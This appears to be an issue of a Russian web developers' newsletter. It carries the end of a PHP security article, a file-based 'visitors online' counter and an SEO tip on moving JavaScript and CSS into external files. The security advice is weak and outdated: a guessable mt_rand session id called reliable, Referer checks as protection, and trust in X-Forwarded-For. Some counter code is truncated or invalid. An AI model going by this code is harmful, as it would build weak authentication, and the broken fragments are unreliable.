Это более надежный способ - не пройти авторизацию и получить доступ удастся лишь в том случае, если с того же IP сидит другой пользователь, успешно авторизовавшийся. Однако, учитывая распространенность прокси-серверов и IP-Masquerad'инга - это вполне реально.
- Единственным, известным мне простым и достаточно надежным способом верификации личности пользователя является авторизация при помощи random uid. Рассмотрим ее более подробно.
После авторизации пользователя скрипт, проведший авторизацию, генерирует достаточно длинное случайное число:
mt_srand((double)microtime()*1000000);
$uid=mt_rand(1,1000000);
Это число он:
а) заносит в локальный список авторизовавшихся пользователей;
б) Выдает пользователю.
Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список сообщений в гостевой книге), отправляет серверу свой uid. При этом в документе с формами ввода будет присутствовать, наряду с другими формами, тег вида:
<input type=hidden name=uid value=1234567890>
Форма uid невидима для пользователя, но она передается скрипту защищенной части приложения. Тот сличает переданный ему uid с uid'ом, хранящимся в локальной базе и либо выполняет свою функцию, либо... "hacker? he-he...".
Единственное, что необходимо сделать при такой организации - периодически чистить локальный список uid'ов и/или сделать для пользователя кнопку "выход", при нажатии на которую локальный uid пользователя сотрется из базы на сервере - сессия закрыта.
Некоторые программисты используют в качестве uid не "одноразовое" динамически генерирующееся число, а пароль пользователя. Это допустимо, но это является "дурным тоном", поскольку пароль пользователя обычно не меняется от сессии к сессии, а значит - хакер сможет сам открывать сессии. Та же самая модель может быть использована везде, где требуется идентификация пользователя - в чатах, веб-конференциях, электронных магазинах.
В заключение стоит упомянуть и о такой полезной вещи, как ведение логов. Если в каждую из описанных процедур встроить возможность занесения события в лог-файл с указанием IP-адреса потенциального злоумышленника - то в случае реальной атаки вычислить хакера будет гораздо проще, поскольку хакеры обычно пробуют последовательно усложняющиеся атаки. Для определения IP-адреса желательно использовать не только стандартную переменную REMOTE_ADDR, но и менее известную HTTP_X_FORWARDED_FOR, которая позволяет определить IP пользователя, находящегося за прокси-сервером. Естественно - если прокси это позволяет.
При ведении лог-файлов, необходимо помнить, что доступ к ним должен быть только у Вас. Лучше всего, если они будут расположены за пределами дерева каталогов, доступного через WWW. Если нет такой возможности - создайте отдельный каталог для лог-файлов и закройте туда доступ при помощи .htaccess (Deny from all).
Я буду очень признателен, если кто-нибудь из программистов поделится своими не описанными здесь методами обеспечения безопасности при разработке приложений для Web.
Best regards,
Илья Басалаев a.k.a. Scarab (scarab@chat.ru).
Дополнение от piroman:
Спецально для таких ламеров как я. Правильный код проверку переменной окружения web-сервера HTTP-REFERER:
<?
$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com", $referer))
{echo "hacker? he-he.. /n ";
exit;
}
?>
| Сейчас на сайте... |
|
Наверняка, вы часто видите на сайтах надпись примерно следующего содержания: "Сейчас на сайте ... человек". Вот и мы сделаем себе что-то подобное. Сразу хочу сказать, что идея написания данной статьи возникла у меня по прочтении статьи "Сколько человек на сайте", где автор предлагает решение этой проблемы с помощью базы данных, мы же управимся и с помощью обыкновенного файла.
Как будет реализовываться механизм подсчета посетителей онлайн? Есть два способа.
- С помощью IP адреса посетителя. Как вы понимаете, разные посетители обычно имеют разные IP.
- С помощью сессий PHP. Для каждого посетителя заводится уникальная сессия.
Второй вариант является, на мой взгляд, более удачным, так что позвольте мне использовать именно его. Ну, начнем.
Для начала создадим файл, который будет заменять нам базу данных, и назовем его base.txt. Далее, в каком либо другом файле, например online.php, пишем сам скрипт.
session_start();
session_set_cookie_params('0');
$id = session_id();
Мы открываем новую сессию (или продолжаем, если она уже открыта), затем "прячем" сессию в cookie, чтобы пользователю не мешали страшные URL, а ID сессии присваиваем соответствующей переменной.
$CurrentTime = time();
$LastTime = time() - 480;
$base = "base.txt";
Присваиваем переменной $CurrentTime текущее время в секундах с 1970 года, а $LastTime - время, на 8 минут меньшее текущего. Если пользователь был неактивен в течение 8 минут, то его сессия будет удаляться. Далее мы определяем файл-базу base.txt. Там мы будет хранить необходимые данные в следующей форме:
ID сессии1|Время последней активности
ID сессии2|Время последней активности
Затем мы формируем массив из строк данного файла.
$file = file($base);
$k = 0;
for ($i = 0; $i < sizeof($file); $i++) {
$line = explode("|", $file[$i]);
if ($line[1] > $LastTime) {
$ResFile[$k] = $file[$i];
$k++;
}
}
Запускаем цикл, в котором каждую строку поочередно "разбиваем" символом |, формируя массив $line. После сравниваем время последней активности посетителя данной сессии с допустимой (т.е. на 8 минут меньше текущего времени). Если это условие соблюдается, то данная строка файла-базы записывается в новый формируемый массив $ResFile, если же время последней активности старее допустимой, то такая строка игнорируется (то есть фактически удаляется). Далее мы будем иметь дело только с новым массивом $ResFile.
for ($i = 0; $i
Первые две строки полностью аналогичны предыдущей записи. Далее мы сравниваем ID сессии, записанным в файле, с текущим ID. Если они равны, то обновляем время последней активности, делая его равным текущему. Затем мы заводим переменную $is_sid_in_file, которая будет сигнализировать о том, что данный ID сессии уже есть в файле, и присваиваем ей единицу. После мы превращаем полученный массив в строку и присваиваем ее все тому же массиву $ResFile. Таким образом, мы полностью "прочесали" массив, разбирая каждую строку, и независимо от того, была ли изменена эта строка или нет, обратно возвращаем ее на то же место в массиве $ResFile.
$fp = fopen($base, "w");
for ($i = 0; $i fputs($fp, $ResFile[$i]);
}
fclose($fp);
Переписываем файл-базу, сохраняя там новый модифицированный массив $ResFile.
А теперь рассмотрим случай, если текущего ID сессии нет в файле. Тогда мы его просто добавляем:
if (!$is_sid_in_file) {
$fp = fopen($base, "a-");
$line = $id."|".$CurrentTime."\n";
fputs($fp, $line);
fclose($fp);
}Записи-перезаписи закончены и нам остается только вывести количество открытых сессии, а значит и количество посетителей на сайте в данный момент. Так как число таких сессий равно количеству строк в файле, то пишем:
$file = file($base);
echo sizeof($file);
?>
Вот и все. Подключите данный скрипт на каждой странице вашего сайта а вы всегда сможете определить количество человек на сайте в данную минуту.
Раздел "Веб-мастеру". Раскрутка:
| Обмен ссылками и кнопками |
|
Данная рубрика создана для помощи веб-мастерам. Здесь публикуются объявления по поводу обмена ссылками/кнопками. Если вы хотите опубликовать свое объявление - заполните специальную форму, находящуюся на сайте mostinfo.net, и ваше объявление будет опубликовано не только в ближайшем номере Эбаута, но и на mostinfo.net и в рассылках этого сайта.
| Оптимизация для поисковых систем страниц с JavaScript и таблицами стилей |
|
Поисковые системы используют ряд критериев, чтобы определить, о чем идет речь на данной веб-странице. Все эти критерии могут быть разными и могут изменяться с течением времени. Они направлены на определение степени "релевантности" страницы, т.е. соответствия данному запросу. Цель поисковой системы - предоставить пользователю результаты, наиболее отвечающие его запросу.
Отдельные критерии могут время от времени меняться, но некоторые из них постоянны. Один из них - местоположение ключевых слов на странице. Обычно слова, которые расположены ближе к началу страницы, считаются более важными, чем слова, встречающиеся далее на странице. Само собой - вспомните хотя бы любую газетную статью, в которой заголовок и первый абзац обычно более содержательны, чем остальной текст.
Другое мерило соответствия - "плотность ключевых слов". Это отношение количества ключевых слов на странице к общему количеству слов. Чем выше соотношение между ключевыми словами и общим количеством слов, тем больше страница соответствует запросу на эти ключевые слова.
Когда поисковая система отправляет своего робота взглянуть на вашу страницу, вам хотелось бы быть уверенным, что робот найдет нужную информацию в верхней части страницы и что плотность ключевых слов на странице достаточно высока (в пределах разумного). Иногда возникают затруднения, даже если на видном месте вашей страницы расположено достаточное количество текста, насыщенного ключевыми словами. Два таких затруднения - позиционный код JavaScript и позиционный код каскадной таблицы стилей (Style Sheet) - можно легко устранить.
Затруднения с JavaScript
Большие объемы кода JavaScript могут быть препятствием. Обычно на веб-странице больше всего кода JavaScript содержится в разделе HEAD. Здесь обычно определяются переменные и функции и т.п. К сожалению, большой объем кода JavaScript на странице может очень навредить рейтингу страницы в поисковых системах.
Так как поисковые системы склонны обращать больше внимания на текст в начале веб-страницы, чем на последующий текст, очевидно, что наличие нескольких десятков строк кода JavaScript в верхней части страницы отодвигает действительное содержание от начала. А то, что находится на странице ниже, менее важно для поисковой системы.
Плотность ключевых слов - также важный фактор. Но опять-таки, если ваша страница содержит несколько сотен слов кода JavaScript, плотность ключевых слов - отношение ваших ключевых слов ко всем словам на всей странице, включающим и текст, и к код - будет намного меньше. Это значит, что некоторые поисковые системы будут рассматривать вашу страницу как менее релевантную.
Устранение затруднений с JavaScript
Так как же сохранить функциональность JavaScript, но при этом сделать вашу страницу как можно более удобной для поисковой системы? Поместите код JavaScript в отдельный файл, а затем присоедините его обратно к веб-странице.
Оригинальная страница, "mypage.html", может выглядеть примерно так:
<html>
<head>
<title>My Title</title>
<script>
function helloWorld(){
alert("Hello, World!");
return;
}
</script>
</head>
<body onLoad="helloWorld()">
...body of page...
</body>
</html>
Пример 1 - mypage.html с кодом JavaScript
Заменяем код JavaScript командой для браузера извлечь код из отдельного файла. Новая страница будет выглядеть так:
<html>
<head>
<title>My Title</title>
<script src="codepage.js"></script>
</head>
<body onLoad="helloWorld()">
...body of page...
</body>
</html>
Пример 2 - mypage.html после перенесения кода JavaScript в другой файл
Обратите внимание, что тег SСRIPT пополнился атрибутом "src". Значение, присвоенное этому атрибуту, - это имя внешнего файла, содержащего код JavaScript. Как правило, такие внешние файлы получают расширение ".js", показывающее, что они содержат код JavaScript. Отметьте также, что здесь присутствуют оба тега <script> и </script>, хотя между ними ничего нет.
Затем создается новая страница, содержащая код, ранее содержавшийся в тегах SCRIPT. Назовем ее "codepage.js", а выглядеть она будет вот так:
function helloWorld(){
alert("Hello, World!");
return;
}
Пример 3 - codepage.js содержит только код JavaScript
Для этого нового файла не требуется HTML-разметка. Он содержит только код, который первоначально находился между тегами SCRIPT.
Затруднения с каскадными таблицами стилей
Помимо кода JavaScript, причиной осложнения работы поисковых систем может быть код Style Sheet, когда он помещен на веб-страницу. Этот код необходимо удалить со страницы по тем же причинам, что и JavaScript - поскольку он сдвигает основное содержание и уменьшает плотность ключевых слов.
Устранение затруднений со Style Sheet
Идея удаления информации Style Sheet со страницы подобна идее "перегрузки" JavaScript в другой файл; что же касается синтаксиса - имеют местo некоторые отличия.
Оригинальная страница - "mypage.html" - может иметь такой вид:
<HTML>
<HEAD>
<TITLE>My Title</TITLE>
<style>
body{
background:white;
color:red;
}
</style>
</HEAD>
<BODY>
...body of page...
</BODY>
</HTML>
Пример 4 - mypage.html с кодом Style Sheet
Мы хотим перенести этот код в отдельный файл, поэтому мы удаляем его с исходной страницы и добавляем ссылку, указывающую на отдельный файл, содержащий теперь код Style Sheet.
<HTML>
<HEAD>
<TITLE>My Title</TITLE>
<link rel='stylesheet' href='style.css' type='text/css'>
</HEAD>
<BODY>
...body of page...
</BODY>
</HTML>
Пример 5 - mypage.html после удаления кода Style Sheet
Обратите внимание на добавившийся тег LINK. Он содержит информацию трех типов, которая понадобится браузеру для восстановления страницы на время посещения пользователями. Атрибут/пара значений "rel='stylesheet'" показывает, что мы смотрим на файл Style Sheet. Атрибут/пара значений "href='style.css'" указывает на внешний файл, содержащий информацию Style Sheet. Типичное расширение этих файлов - ".css", показывающее, что они содержат код Cascading Style Sheet. Вы замените имя файла "style.css" именем файла, в который поместите код Style Sheet. Наконец, нужно определить MIME тип этого файла в атрибуте/паре значений "type='text/css'".
Затем создается новая страница, содержащая код, ранее содержавшийся в тегах STYLE. Называем ее "style.css" и смотрим, как она выглядит:
body{
background:white;
color:red;
}
Пример 6 - style.css содержит только код Style Sheet
Для этого нового файла не требуется HTML-разметка. Он содержит только код, который первоначально находился между тегами STYLE.
Заключение
Выполнив две эти процедуры, вы сделали веб-страницу более удобной для поисковых систем. Это значит, что в следующий раз, когда вашу страницу будут исследовать поисковые роботы, важное содержание будет расположено ближе к ее началу и плотность ключевых слов будет больше. В результате страница займет более высокую позицию в списках поисковиков и, вероятно, увеличит трафик сайта.
|
